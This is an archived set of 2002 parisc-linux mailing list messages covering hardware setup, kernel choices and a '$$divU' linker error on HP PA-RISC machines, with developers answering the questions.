Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14019

I don't have any experience with HP-UX or PA-risc hardware, but I recently
inherited an abandoned HP D-class 9000 server.  I'm trying to get the
machine functional using Linux, since I don't have access to recent HP-UX,
and I use Debian Linux on x86.
What I've managed to do so far (with some trial and error):
remove the remote access management card
boot into the firmware and set the console to the onboard serial
boot into the CD I created from palinux-0.9.3.iso
partition and format a disk, get Linux installed and booting

So far so good, but I have a few questions:
My video card seems to be a:
Raven Opt. 2D Graphics (Goat) (10) at 0xf6000000 [10/12], version 0x12, 0x0,
0x77
What can I expect from it?  I've nerver used XF86 version 4 or an fb device,
and I haven't figured out the new config file format.  Will I be able to use
the the graphical console with a newer kernel?  Can I get X to use it?
Does anyone know if I can switch resolution/video mode from the firmware? 
I installed the 32-bit kernel, can I use a 64-bit kernel on this machine?
Should I checkout the latest kernel source from cvs and build that, or is
there some other version, or an image, I shoud use?  The kernel installed
with the CD doesn't seem to be SMP.

If anybody can volunteer answers to any of these questions, I'd really
appreciate it.  Also, great thanks to everyone who's put effort into pa-risc
linux, I'll get so much more out of this machine with it running Linux!

-Steve R 



From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA NIC - HWP1850?
Date: Mon, 11 Feb 2002 22:51:30 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20020212055130.3404C482B@dsl2.external.hp.com>
References: <3C681938.7A2D48FB@com.Honeywell>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621057 2895 80.91.229.3 (22 Nov 2014 01:50:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bob Apodaca <Bob.Apodaca@Honeywell.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 11 22:51:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3404C482B; Mon, 11 Feb 2002 22:51:30 -0700 (MST)
In-Reply-To: Message from Bob Apodaca <Bob.Apodaca@com.Honeywell> 
   of "Mon, 11 Feb 2002 12:19:20 MST." <3C681938.7A2D48FB@com.Honeywell> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14020

Bob Apodaca wrote:
> KU82596CA-33
> L5182661
> SZ717 C

Have you tried searching on google for this part #?
I believe the original project name was Apricot.
Anyway, I believe the NIC integrated in LASI is also 82596.

> The HP part number on the card is 25567-60003.  I've seen this card
> referred to as "HWP1850".
> 
> If no-one has this card, I *may* be able to arrange a donation if we can
> get a driver.


http://lhd.zdnet.com/db/dispdriver.php3?DISP?225

Do I still qualify?
[ I don't need the card...but I'm sure I could find someone who could..]

thanks,
grant



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting a D370 off the ground
Date: Mon, 11 Feb 2002 22:55:46 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20020212055546.74B2D4832@dsl2.external.hp.com>
References: <FE6B88CC9D2BD311AD120008C7B3AF87081ED289@phsexch3.mgh.harvard.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621058 2903 80.91.229.3 (22 Nov 2014 01:50:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:58 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Roylance, Stephen D." <SROYLANCE@PARTNERS.ORG>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 11 22:55:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 74B2D4832; Mon, 11 Feb 2002 22:55:46 -0700 (MST)
In-Reply-To: Message from "Roylance, Stephen D." <SROYLANCE@PARTNERS.ORG> 
   of "Mon, 11 Feb 2002 15:14:20 EST." <FE6B88CC9D2BD311AD120008C7B3AF87081ED289@phsexch3.mgh.harvard.edu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14021

"Roylance, Stephen D." wrote:
> So far so good, but I have a few questions:

So far, well done.

> My video card seems to be a:
> Raven Opt. 2D Graphics (Goat) (10) at 0xf6000000 [10/12], version 0x12, 0x0,
> 0x77
> What can I expect from it?  I've nerver used XF86 version 4 or an fb device,
> and I haven't figured out the new config file format.  Will I be able to use
> the the graphical console with a newer kernel?  Can I get X to use it?

I think so. This is the same gfx built into several of the regular
B/C class workstations.

> Does anyone know if I can switch resolution/video mode from the firmware? 

Not sure. I'm surprised to hear about a D with gfx in it.

> I installed the 32-bit kernel, can I use a 64-bit kernel on this machine?

Depends on cpu type. If it's a PA2.0 CPU (ie PA-8xxx), then yes.
See /proc/cpuinfo and/or check console output at boot time.

> Should I checkout the latest kernel source from cvs and build that, or is
> there some other version, or an image, I shoud use?  The kernel installed
> with the CD doesn't seem to be SMP.

Newer kernels are on ftp://ftp.parisc-linux.org/kernels/

grant



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaud.ATOCH@oecd.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] $$divU undefined reference
Date: Tue, 12 Feb 2002 17:23:24 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <C12531D038D1D011B1DB0000F8036C280BBA4743@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621058 2905 80.91.229.3 (22 Nov 2014 01:50:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 09:23:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cs1-hq.oecd.org (cs1-hq.oecd.org [193.51.65.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F21D482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 09:23:25 -0700 (MST)
Original-Received: from netsweep1.oecd.org (netsweep1.oecd.org [10.102.5.110])
	by cs1-hq.oecd.org (Postfix) with ESMTP id A03494B060
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 17:23:22 +0100 (CET)
Original-Received: from eosgty1.oecd.org (unverified) by netsweep1.oecd.org
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5907c783fe0a66056e083@netsweep1.oecd.org> for <parisc-linux@lists.parisc-linux.org>;
 Tue, 12 Feb 2002 17:23:25 +0100
Original-Received: by eosgty1.oecd.org with Internet Mail Service (5.5.2653.19)
	id <ZHKGCVNH>; Tue, 12 Feb 2002 17:23:27 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14022

First thanks for your great port.

I'm trying to compile sqlrelay http://www.firstworks.com/sqlrelay on a 0.9.3
HP 712 box with 2.4.16 kernel and deb packages up-to-date.

I got the following linking error message :

ecodev01:/tmp/rudiments-0.23/src# ld -G -o ../lib/librudiments.so.0.23
daemonprocess.o signalclasses.o commandline.o server.o client.o
semaphoreset.o sharedmemory.o randomnumber.o regularexpression.o text.o
datetime.o permissions.o -lc -lm -ll
server.o: In function `std::__default_alloc_template<true,
0>::_S_chunk_alloc(unsigned, int&)':
server.o(.gnu.linkonce.t._ZNSt24__default_alloc_templateILb1ELi0EE14_S_chunk
_allocEjRi+0xa0): undefined reference to `$$divU'

Some reading of the mailling list archive seems to indicate that this is an
already known issue.
I could not find if it has been fixed or not.

A quick grep -l divU /usr/lib reports :
/usr/lib/libapt-inst-libc6.2-3.so.1.0
/usr/lib/libapt-inst-libc6.2-3.so.1.0.0
/usr/lib/libapt-pkg-libc6.2-3.so.3.2
/usr/lib/libapt-pkg-libc6.2-3.so.3.2.0
/usr/lib/libBLT.2.4.so.8.0
/usr/lib/libBLT.2.4.so.8.2
/usr/lib/libBLT.2.4.so.8.3
/usr/lib/libc.a
/usr/lib/libdb-3.so
/usr/lib/libdb3.so.3
/usr/lib/libdb3.so.3.0.2
/usr/lib/libform.so.4
/usr/lib/libform.so.4.2
/usr/lib/libgimpprint.so.1
/usr/lib/libgimpprint.so.1.0.0
/usr/lib/libglib-1.2.so.0
/usr/lib/libglib-1.2.so.0.0.10
/usr/lib/libIDL-0.6.so.0
/usr/lib/libIDL-0.6.so.0.4.4
/usr/lib/libnetcdf_c++.so.3
/usr/lib/libnetcdf_c++.so.3.5.0
/usr/lib/libnetcdf.so.3
/usr/lib/libnetcdf.so.3.5.0
/usr/lib/libpcap.so.0
/usr/lib/libpcap.so.0.6.2
/usr/lib/libresolv.a
/usr/lib/libtiff.so.3
/usr/lib/libtiff.so.3.5.5

Should I understand that this divU function is used but I can not find which
library to link ? or are all these libs broken ?

Thanks.

Arnaud Atoch
OECD / OCDE
Paris
France



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $$divU undefined reference
Date: Tue, 12 Feb 2002 16:26:36 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20020212162636.B1173@parcelfarce.linux.theplanet.co.uk>
References: <C12531D038D1D011B1DB0000F8036C280BBA4743@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621058 2909 80.91.229.3 (22 Nov 2014 01:50:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arnaud.ATOCH@oecd.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 09:26:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AA5F4831
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 09:26:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16aflM-0000Fp-00; Tue, 12 Feb 2002 16:26:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <C12531D038D1D011B1DB0000F8036C280BBA4743@eosm5.oecd.org>; from Arnaud.ATOCH@oecd.org on Tue, Feb 12, 2002 at 05:23:24PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14023

On Tue, Feb 12, 2002 at 05:23:24PM +0100, Arnaud.ATOCH@oecd.org wrote:
> I'm trying to compile sqlrelay http://www.firstworks.com/sqlrelay on a 0.9.3
> HP 712 box with 2.4.16 kernel and deb packages up-to-date.
> 
> I got the following linking error message :
> 
> ecodev01:/tmp/rudiments-0.23/src# ld -G -o ../lib/librudiments.so.0.23
> daemonprocess.o signalclasses.o commandline.o server.o client.o
> semaphoreset.o sharedmemory.o randomnumber.o regularexpression.o text.o
> datetime.o permissions.o -lc -lm -ll
> server.o: In function `std::__default_alloc_template<true,
> 0>::_S_chunk_alloc(unsigned, int&)':
> server.o(.gnu.linkonce.t._ZNSt24__default_alloc_templateILb1ELi0EE14_S_chunk
> _allocEjRi+0xa0): undefined reference to `$$divU'

Don't use `ld' to link shared objects.  Link using gcc (if it's c code) or
g++ (if c++ code).  the compiler driver knows what extra libs to link in.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Roylance, Stephen D." <SROYLANCE@PARTNERS.ORG>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Getting a D370 off the ground
Date: Tue, 12 Feb 2002 11:39:40 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <FE6B88CC9D2BD311AD120008C7B3AF87081ED28D@phsexch3.mgh.harvard.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621059 2910 80.91.229.3 (22 Nov 2014 01:50:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:59 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: 'Grant Grundler' <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 09:39:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from PHSEXCHICI2.Partners.org (phsexchici2.partners.org [170.223.254.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B77E4830
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 09:39:48 -0700 (MST)
Original-Received: by phsexchici2.partners.org with Internet Mail Service (5.5.2650.21)
	id <1BZ244J3>; Tue, 12 Feb 2002 11:39:46 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14024

> > Does anyone know if I can switch resolution/video mode from 
> the firmware? 
> 
> Not sure. I'm surprised to hear about a D with gfx in it.

Do you know how to do it on workstation  machines, maybe it works the same
way?
or can anyone point me to HW/tech docs for these machines?

> > I installed the 32-bit kernel, can I use a 64-bit kernel on 
> this machine?
> 
> Depends on cpu type. If it's a PA2.0 CPU (ie PA-8xxx), then yes.
> See /proc/cpuinfo and/or check console output at boot time.
> 
> > Should I checkout the latest kernel source from cvs and 
> build that, or is
> > there some other version, or an image, I shoud use?  The 
> kernel installed
> > with the CD doesn't seem to be SMP.
> 
> Newer kernels are on ftp://ftp.parisc-linux.org/kernels/

OK, looks like I have two PA8000's.  I apt-get upgraded to unstable and
d/l'ed the latest kernel tar.gz.  
I'm getting an error trying to compile a 64 bit SMP kernel:
make[1]: hppa64-linux-gcc: Command not found
on, I guess, the first call to the compiler when I do 'make dep';
my make is:
ii  make                3.79.1-12           The GNU version of the "make"
utility.
my gcc is:
ii  gcc                 3.0.4-2             The GNU C compiler.

Do I need to mess with a makefile so it knows what the right compiler is?
Do I need to get an different version of gcc for 64-bit hppa?

> grant

Thanks!
-Steve



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $$divU undefined reference
Date: Tue, 12 Feb 2002 11:40:19 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200202121640.g1CGeJ4B024431@hiauly1.hia.nrc.ca>
References: <C12531D038D1D011B1DB0000F8036C280BBA4743@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621059 2916 80.91.229.3 (22 Nov 2014 01:50:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arnaud.ATOCH@oecd.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 09:40:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 827FE4839
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 09:40:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1CGeKFN024433;
	Tue, 12 Feb 2002 11:40:20 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1CGeJ4B024431;
	Tue, 12 Feb 2002 11:40:19 -0500 (EST)
In-Reply-To: <C12531D038D1D011B1DB0000F8036C280BBA4743@eosm5.oecd.org> from "Arnaud.ATOCH@oecd.org" at Feb 12, 2002 05:23:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14025

> Should I understand that this divU function is used but I can not find which
> library to link ? or are all these libs broken ?

It's always necessary to link against a static copy of libgcc to resolve
millicode references.  Linking using gcc, g++, or libtool will do this
automatically.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting a D370 off the ground
Date: Tue, 12 Feb 2002 11:45:13 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200202121645.g1CGjEO4024447@hiauly1.hia.nrc.ca>
References: <FE6B88CC9D2BD311AD120008C7B3AF87081ED28D@phsexch3.mgh.harvard.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621059 2919 80.91.229.3 (22 Nov 2014 01:50:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:59 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: SROYLANCE@PARTNERS.ORG (Roylance, Stephen D.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 09:45:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AECF483C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 09:45:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1CGjEFN024449;
	Tue, 12 Feb 2002 11:45:15 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1CGjEO4024447;
	Tue, 12 Feb 2002 11:45:14 -0500 (EST)
In-Reply-To: <FE6B88CC9D2BD311AD120008C7B3AF87081ED28D@phsexch3.mgh.harvard.edu> from "Roylance, Stephen D." at Feb 12, 2002 11:39:40 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14026

> OK, looks like I have two PA8000's.  I apt-get upgraded to unstable and
> d/l'ed the latest kernel tar.gz.  
> I'm getting an error trying to compile a 64 bit SMP kernel:
> make[1]: hppa64-linux-gcc: Command not found
> on, I guess, the first call to the compiler when I do 'make dep';
> my make is:
> ii  make                3.79.1-12           The GNU version of the "make"
> utility.
> my gcc is:
> ii  gcc                 3.0.4-2             The GNU C compiler.
> 
> Do I need to mess with a makefile so it knows what the right compiler is?
> Do I need to get an different version of gcc for 64-bit hppa?

I'd say forget about a 64-bit kernel and hppa64-linux-gcc.  There is no
point unless you have more than 4GB memory and need to run very large
applications.  The 32-bit system and tools are in much better shape.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting a D370 off the ground
Date: Tue, 12 Feb 2002 16:50:14 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20020212165014.C1173@parcelfarce.linux.theplanet.co.uk>
References: <FE6B88CC9D2BD311AD120008C7B3AF87081ED28D@phsexch3.mgh.harvard.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621060 2922 80.91.229.3 (22 Nov 2014 01:51:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:00 +0000 (UTC)
Cc: 'Grant Grundler' <grundler@dsl2.external.hp.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Roylance, Stephen D." <SROYLANCE@PARTNERS.ORG>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 09:50:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4FC044841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Feb 2002 09:50:23 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16ag8E-0000a6-00; Tue, 12 Feb 2002 16:50:14 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <FE6B88CC9D2BD311AD120008C7B3AF87081ED28D@phsexch3.mgh.harvard.edu>; from SROYLANCE@PARTNERS.ORG on Tue, Feb 12, 2002 at 11:39:40AM -0500
